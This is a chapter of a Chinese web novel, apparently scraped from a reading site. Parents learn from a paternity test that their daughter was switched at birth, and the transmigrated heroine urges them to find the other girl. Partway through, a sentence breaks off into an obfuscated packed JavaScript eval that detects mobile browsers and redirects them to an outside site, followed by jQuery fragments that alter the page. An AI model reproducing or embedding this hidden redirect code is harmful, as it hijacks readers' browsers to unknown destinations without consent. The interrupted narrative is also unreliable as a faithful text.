又是一个周五,下班后的梁父沉着脸拿了一个文件袋去了梁母的单位,她就在办公室等着,别的人都下班走了。
见梁父走进来,她扫过那个文件袋,以眼神询问着,眸中暗藏希冀。
梁父动了动唇,道:“确实不是。”
梁母心里一疼,抢似的拿过那个文件袋,还没打开眼眶就红了,等拿出里面的结果,眼前已一片模糊。
但白纸黑字不容错辨,上面确实写了女儿和他们夫妻没有血缘关系。
“怎么会这样呢?怎么就弄成这样了?”梁母放下文件袋,忍不住抹眼泪。
梁父走到跟前,拍了拍她的肩膀安慰,可他自己眼眶也红了。
“孩子怎么就换了,都怪我,是我没看住孩子,要不然哪会有这样的事?”梁母自责不已。
“不怨你,刚生完孩子你身子虚、精神短,哪里能不错眼地盯着?”梁父不忍她这样,“要怪也该怪我,我照顾着你们娘俩,要是我细心些,也不会出这样的事。”
77年冬他高考完,取了录取通知书发现大学报到的时间是春节后,就赶忙准备起离开的事,一边要整理东西,一边还要顾着大肚子的梁母,梁珘当时才五岁,在梁母生产时,还得托人照顾他。
梁父一个人几头跑,梁母生孩子时他得顾着大人、顾着梁珘,还得照顾刚出生的女儿,那段日子着实熬坏了。
两口子都是插队知青,在当地也没有亲戚能帮衬,那时候脸皮薄,还不好意思多麻烦村里的婶子,什么事都得他们自己干,哪有不手忙脚乱的?
夫妻俩在办公室待了好久,等情绪平复了才起身回家。
这一天,他们回去时都八点多了,梁珘、楚霏还以为他们有事加班,早就吃过饭了。
“爸、妈,我给你们下面去。”梁珘往厨房走。
楚霏看着两口子眼眶都红着,便猜到上周的亲子鉴定结果出来了,她暗叹一声,默默给他们端了水放下。
梁父看看情绪很差的梁母,从公文包里掏出了那个文件袋放到茶几上,仔细端详另一边单人沙发上坐着的女儿。
这孩子小时候长着张小圆脸,据老爷子说和他母亲很像,但他记忆中对母亲的印象很淡,只见过家里存的老照片,照片中的女人确实是个圆脸。
据老爷子说,他母亲在战乱年代奔波流离,又先后失去了两个孩子,受此打击对身体影响很大,之后转移到后方养了几年,开国那会儿才又生的他,生完没几年就病逝了。
以前老爷子说女儿像母亲,他便也信了,如今仔细看她渐渐长开的脸,其实她长得是张鹅蛋脸,眉眼五官确实和他们夫妻不太像。
可是,谁没事会怀疑自己养大的孩子不是亲生的呢?
梁母也在认真看女儿的模样,试图寻找与他们相似的地方。
楚霏打开文件袋,看了里面的鉴定结果,十分镇定地问:“爸、妈,想办法查清楚当年的事情真相吧,要不然……报案也可以,让他们跨区域联系当地公安调查。”
“珊珊,你怎么……”梁母既痛心又惊讶,这孩子怎么能如此冷静呢?还给他们出主意调查。
“珊珊,你怎么想的?”梁父不知道这孩子上周拿到验血结果,发现不是他们的亲生女儿时是怎样的心情,又是怎么接受事实、决定告诉他们真相的,但比之他们,她的确镇定得多。
楚霏看看他,又看看梁母,抿了抿唇,道:“既然发现弄错了,就该查清楚当年的事,究竟是意外还是人为,若是意外那只能算阴差阳错、命运使然,若是人为……”她表情变得肃然,“必须报案把调换孩子的人抓起来绳之以法。”
“同时,还要竭尽全力找到与我调换的女孩,只希望她还平安活着,这十五年来没有受太多委屈。”楚霏垂了眼睫,心里很为那个女孩担心,最怕她落在坏人手里,自小被折磨着长大,若是如此……无论是她还是原主,便是做什么都难以弥补。
华国历史上女性是被一步步压迫的,从古到今重男轻女的思想普遍存在,就是如今的京市,国家在推进现代化建设,大领导也说过“妇女能顶半边天”,可重男轻女的人还是很多,更何况那些偏远的乡村,只会因需要劳动力耕种劳作而变本加厉。
她识海里那个发绿光的东西,只说了梁珊不是梁家的亲生女儿,根本不曾提到被调换的那个女孩叫什么名字、境况如何,如今想找到她,必须由梁家来调查。
“珊珊,找到了以后,你要怎样?”梁母抖着唇问,凭她对这孩子的了解,心里已有了些猜测。
楚霏说得斩钉截铁:“我占据了属于她的父母哥哥,属于她的家和富足生活,找到她后当然要换回来。”
厨房里传来清脆的“咔嚓”声,是碗掉到地上打碎的声音,显然,梁珘虽然在厨房,可从始至终都听着。
“珊珊,你……要离开我们身边?”梁母的眼泪立马就下来了。
她从不是个爱掉眼泪的人,年少时下乡当知青,最苦最累的时候她都没哭过一次,咬牙就坚持下来了,但今天她真的忍不住。
楚霏起身坐到她身边,伸手拉住她的手:“妈,我被你和爸养大,一直被哥哥护着、照顾着,即便没有血缘关系,我们永远都是亲人。”
梁父听着眼眶也红了,他仰着头不想在女儿面前流泪。
“但是,这样好的爸和妈,还有哥哥,却本该属于另一个女孩,我已经占了她十五年的便宜,不能再继续占下去了,咱们得快点找到她,看看她过得好不好,”楚霏放软声音劝解,“你们这么好,我不能让你们的亲生女儿在不知名的地方受苦受委屈啊!”
“若隐瞒真相,不顾念与我交换了人生的女孩,那我也枉费你们悉心教导了十五年!”她继续道,“遇到错误不怕,及时改正错误才重要,你们说是不是这个理?”
梁母擦掉眼泪,红肿着眼点点头,理智慢慢回来了些,被这孩子说的,她心里也开始着急起来,一想到亲生女儿说不定在哪里吃苦受罪,她这心就一揪一揪的疼。
楚霏又看向梁父:“爸,现在找到她立刻换回来,她才十五岁,只要好好教也不会耽误她,她的未来还有无限可能。至于我,有你们这十五年的教导,我将来同样能过得很好。”
按华国现在的学制,六岁上小学,十八岁高中毕业,二十二岁大学毕业,这时进入社会才算是自立,十五岁,在大人们眼中还是个没成年的孩子。
梁父明白这话的意思,这是在告诉他,找到他的亲生女儿,让她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185263|180148||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们各归各位,无论养女还是亲女,她们将来都能过好,这是双赢。
但……十五年的父女、母女之情,哪能这么理智地割舍呢?
他们夫妻只是因为性格、工作原因理智偏重于感情,却不代表他们能遇事仅凭理智判断而忽略感情啊!
亲生女儿不知身在何处,梁父心里也担心也疼,可望着眼前养了十五年的女儿,他同样也舍不得呀!
“爸、妈,先吃饭吧!”大抵是知道父母一时很难抉择,梁珘端着两碗凉面出来打断了这场谈话。
“好好,先吃饭。”梁母吸了吸鼻子,逃避似的先起身走向餐桌。
梁父紧随其后,闷不吭声也过去了。
楚霏望着两人的背影,眼中划过些无奈。
和在大祁仅能由宋元玉给她传递情绪不同,这次借用梁珊的身体,共享记忆的同时,她也共享了梁珊的情志,简而言之,她所表现出的感情、情绪,都是梁珊要表达的。
只是在思维方式上,她比梁珊更理智更强,所以,这方面她就压制了梁珊,表现在外的就是她,而非梁珊。
如果是梁珊来和梁父梁母谈这件事,也会让他们尽快寻找亲生女儿,但难免受感情影响的她,不会跟他们分析利弊,还会和梁母一起落泪。
可现在是楚霏,她能劝服梁父梁母,还能分析利弊,是全然从理性角度面对这件事的。
餐桌上的两碗凉面很好看,略微显黄的面条,上面码放着土豆丝、西红柿片,还有一棵小油菜,梁珘还给他们切了盘白肉,调了一小碗酸辣蒜汁,可以蘸着吃。
梁父舀了几勺酸辣蒜汁浇到面上,拿筷子卷了面条往嘴里塞。梁母拿了筷子却吃一口停半晌,瞧着很难下咽。
梁珘叹息一声,走过去揉了把楚霏的头:“回房吧,我收拾碗,你不用管了!”
楚霏看了眼餐桌边埋头吃饭的夫妻俩,起身道:“好吧,我先回房了。”
饭后,梁父、梁母和梁珘去了书房,三人沉默以对,许久都没人说话。
“马上国庆节了,要不咱们国庆节去趟西北?”梁珘提出建议,他知道父母是在西北插队的。
眼下已经知道了真相,那肯定得把亲妹妹找回来,正如梁珊所说,他们得确认那孩子过得怎么样,至于换回来的事……先找到人再看,如果亲妹妹遇到了好人家,过得还不错,想换回来也得两家商量,而不是由他们单方面来决定。
如果亲妹妹遇到的人家不好,那把她接回来,梁珊也不用换回去,他们家就养两个妹妹。
“我先打电话联系那边的人去医院问问,也不知道医院的档案管理做得怎么样,还能不能找到当年孩子出生时的记录。”梁母拿凉毛巾敷着眼睛消肿,声音闷闷的。
“得找个靠谱的、嘴紧的人去问。”梁父强调了一句。
“嗯,我联系田力哥帮忙问吧!”梁母想了想道。
这个田力哥叫王田力,是他们插队的那个大队的人,年轻时憨厚老实,不爱说话,干活不惜力气,是个值得托付的人。
“行,你明天先联系,”梁父看向儿子,“要是问清楚了,国庆节……咱们一家都去一趟。”
“好,到时候我看着提前订票。”梁珘应了。